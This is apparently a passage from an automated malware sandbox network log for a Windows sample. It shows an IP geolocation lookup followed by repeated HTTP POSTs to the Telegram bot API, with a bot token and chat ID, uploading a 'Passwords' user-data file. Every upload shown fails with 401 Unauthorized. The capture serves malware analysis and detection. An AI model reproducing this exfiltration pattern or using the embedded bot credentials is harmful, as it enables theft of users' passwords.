2025-01-10 20:25:16 UTC	1390	IN	Data Raw: ba 41 e0 d8 26 a9 68 6d 7e 13 91 2c 94 64 c8 ba b9 94 a3 95 d1 d5 f1 eb 2b 45 12 28 f7 2b d8 36 36 cd 1a c2 46 de d7 1e 66 c1 a3 df 55 13 74 cf c7 45 78 0d e2 22 09 d1 66 0f 64 3e 24 f3 a2 37 1a e5 2b 50 74 c3 cb bf d3 f8 9e 87 19 32 1c f8 38 f3 02 97 3d 6f 2c 07 56 65 4e 1b 17 91 b0 3b 9b 89 83 9b be 16 b7 ab eb 51 81 ee f9 39 1d 15 60 cf 66 2b 88 72 4d 6c 27 6f b2 7d 75 73 fb 6c 10 96 b8 28 97 0b 5f 88 0e be f7 ac 94 70 1d 83 86 af 2b c6 48 53 1e 85 8d 18 a4 d9 f6 bb 70 53 59 4b c1 84 2b 1f 30 dc 8e ac d0 de 5b 9f 2e 56 75 db 36 b1 a5 6b 15 50 92 28 45 4d 30 93 2e 78 38 96 93 0f e7 f1 76 e1 c9 a2 ec 22 59 dc 61 83 bc 04 f1 50 d4 db d2 e7 66 30 d3 44 aa 50 86 3c 78 4b bc 23 b9 e0 e0 28 3a 8e f2 d6 f8 02 0e 80 0e 2f 57 7f 17 ab 3d 0e ee 27 72 10 2b 5e 36 Data Ascii: A&hm~,d+E(+66FfUtEx"fd>$7+Pt28=o,VeN;Q9`f+rMl'o}usl(_p+HSpSYK+0[.Vu6kP(EM0.x8v"YaPf0DP<xK#(:/W='r+^6
2025-01-10 20:25:16 UTC	1390	IN	Data Raw: 6c 47 98 04 e3 80 2a 65 6e 47 66 9c 98 7a 44 fc 76 fa aa 9f fe e0 59 ae 96 e5 7c 2a 43 72 7c 42 1c 08 5b 9a ca 5e c4 3f e7 ca cf a3 1f f5 30 7f 55 07 2d 3e 32 f6 c2 b6 1f bd 07 31 b1 6d ea c4 0a 94 4c 31 18 84 0c c8 e9 52 75 47 4f bb bb 07 61 7c 9b 3a 3a 22 f4 5a 9b c8 bf 5d b3 e8 8e 45 46 41 a6 08 e0 e3 f9 23 7f 3c 94 2f f0 42 21 de 0f 98 eb aa 11 54 ef 7b 7a d4 a2 b2 21 96 66 52 88 a4 e6 8d bd c0 a2 21 ab 97 45 62 4d 31 26 a6 3f 3b c5 0f d4 39 88 85 1e 16 a4 f6 d0 55 15 63 cb cf 45 78 68 a8 2d 0e b0 0e cb 62 00 c2 1e 58 d9 1f cd 66 40 51 ed eb b7 c2 fa a1 ca 1f 32 4d f9 38 f3 b3 93 3c 45 67 74 53 64 4e 11 3f 05 a3 3b 9d 9a dd 8b b7 02 23 ab f8 5b 80 e4 ef c7 58 06 6b df 76 37 9a 5a 9b 6d 27 65 90 78 1a 3d fb 73 06 af 69 00 02 01 2d 10 3d bb 87 84 da 5b Data Ascii: lGenGfzDvY\|Cr\|B[^?0U->21mL1RuGOa\|::"Z]EFA#</B!T{z!fR!EbM1&?;9UcExh-bXf@Q2M8<EgtSdN?;#[Xkv7Zm'ex=si-=[
2025-01-10 20:25:16 UTC	1390	IN	Data Raw: 51 2f 78 ff 21 a0 9f 9b 8c 41 ee 01 68 64 d5 f8 c6 93 cc 97 86 22 1e 1c 38 76 c3 0a 2f e7 d9 2d 8d df ae 80 ba eb f1 6f d9 fe 76 44 70 bb 64 b5 b9 0c 7d 44 b9 dc 08 33 9b c8 ac fd 57 21 6d 9e a6 69 9c b8 99 d2 d5 30 af 06 97 1c ce e7 bb e4 6d 22 dc 56 fc bb ea 70 94 33 1c d7 60 7f 90 1a 07 c0 4b c8 17 fc 68 07 c2 5b 3e 53 b6 c0 6f 64 1b 65 70 11 2c 3b 86 39 6a 1c 74 45 b7 c8 52 22 56 76 f0 aa 97 e9 cf d3 32 8a ef 07 42 af 34 7d 44 73 51 28 4d c0 76 7e 33 ef be 86 ba 1f 94 5b df b7 02 2b 68 2c b1 90 b6 1f b1 06 15 a1 7a f9 a5 ef a9 5b 40 0e ac 85 d9 ee 2a 0b a5 4c 94 c7 de 70 70 b1 7a 2f be cc 28 e5 d5 9a 3b ae db 9a 45 30 f0 87 17 f8 46 ae a7 11 10 f1 40 55 e0 04 c1 0d 99 58 8a 23 b5 a9 6e 7c b7 08 86 32 ab 20 f6 85 bb 95 a3 97 af d6 82 83 3d 2a 67 46 22 Data Ascii: Q/x!Ahd"8v/-ovDpd}D3W!mi0m"Vp3`Kh[>Sodep,;9jtER"Vv2B4}DsQ(Mv~3[+h,z[@Lppz/(;E0F@UX#n\|2 =gF"
2025-01-10 20:25:16 UTC	1390	IN	Data Raw: 8e 3b dd 8e 1c 26 e9 c7 6c a4 76 39 6c c5 d9 f4 40 4e 5a 61 50 9f 61 0c d9 4b 65 c3 6e 32 f8 72 ad ed f2 d3 d9 49 02 59 dd 02 f1 34 92 40 35 5c ba bb 46 da fc 56 a7 f5 91 2b 88 eb 10 7a 51 ee 34 26 9f 9c 13 c8 5c 78 dc db df a0 f7 45 f4 80 dd 12 6b c8 d7 93 b9 0f 79 6c 52 ac d9 43 85 de ca 42 10 ac c2 bb b3 29 2b d2 dd c3 2a c7 ac cc 93 55 8d 57 8c 57 6a bd 91 93 e6 c7 a1 62 4c 4b eb cb eb d0 9e 97 2f 1b ef 11 2b c9 1b 2f 71 28 2c 9e d0 bf 8b 87 fa ce 13 ca f9 6d 52 64 d2 05 55 47 f9 93 4d 91 97 18 16 b5 e8 a9 fd 5d 32 48 be 8e 13 36 b8 93 06 dd 21 82 35 17 00 ce 97 d4 31 6d 31 da 39 a3 ec eb 7a bc e5 1d d7 66 7c 95 1a 16 80 39 2a 13 e7 28 15 ea a6 3f 53 bc e5 91 67 1b 60 1d ef 01 e3 f6 2f 48 ef 47 66 bd ae 84 6f 09 65 f6 b1 9b c3 aa 36 bf b5 e5 0c 44 b3 Data Ascii: ;&lv9l@NZaPaKen2rIY4@5\FV+zQ4&\xEkylRCB)+UWWjbLK/+/q(,mRdUGM]2H6!51m19zf\|9(?Sg`/HGfoe6D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	104.21.112.1	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:27 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 20:25:27 UTC	861	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:25:27 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1855516 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nrESXivIkcL4yeE%2FrBV6pLPWBRQOcJ1qWNJ9BRo9IzJRFiMv6V15mW%2FBq9DFm20GYVQqf%2BPAE5wzALrOVD%2BDISmULRHfkyTVkPiSwsNRG6bFt%2FqEgZ9kZoBRhQo%2FlA3MPRZu1aT1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff657bcd4d43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&min_rtt=1572&rtt_var=600&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1805813&cwnd=203&unsent_bytes=0&cid=21f7070160c64255&ts=162&x=0"
2025-01-10 20:25:27 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49724	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:34 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd318b05b80552 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:25:34 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 62 30 35 62 38 30 35 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd318b05b80552Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:25:36 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:25:36 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:25:36 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49751	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:38 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31bfeb0e4d02 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:25:38 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 62 66 65 62 30 65 34 64 30 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31bfeb0e4d02Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:25:38 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:25:38 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:25:38 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49778	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:42 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31e806c5ea20 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:25:42 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 38 30 36 63 35 65 61 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31e806c5ea20Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:25:42 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:25:42 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:25:42 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49785	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:43 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31f9ee600d70 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:25:43 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 39 65 65 36 30 30 64 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31f9ee600d70Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:25:43 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:25:43 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:25:43 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49802	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:45 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd321822276aaf Host: api.telegram.org Content-Length: 1090
2025-01-10 20:25:45 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 38 32 32 32 37 36 61 61 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd321822276aafContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:25:46 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:25:46 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:25:46 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49814	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:47 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd322b49d64871 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:25:47 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 32 62 34 39 64 36 34 38 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd322b49d64871Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:25:48 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:25:47 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:25:48 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49826	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:49 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32468ff34b56 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:25:49 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 36 38 66 66 33 34 62 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32468ff34b56Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:25:49 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:25:49 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:25:49 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49838	149.154.167.220	443	5624	C:\Users\user\Desktop\4UQ5wnI389.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:25:51 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3256e00e1ca8 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
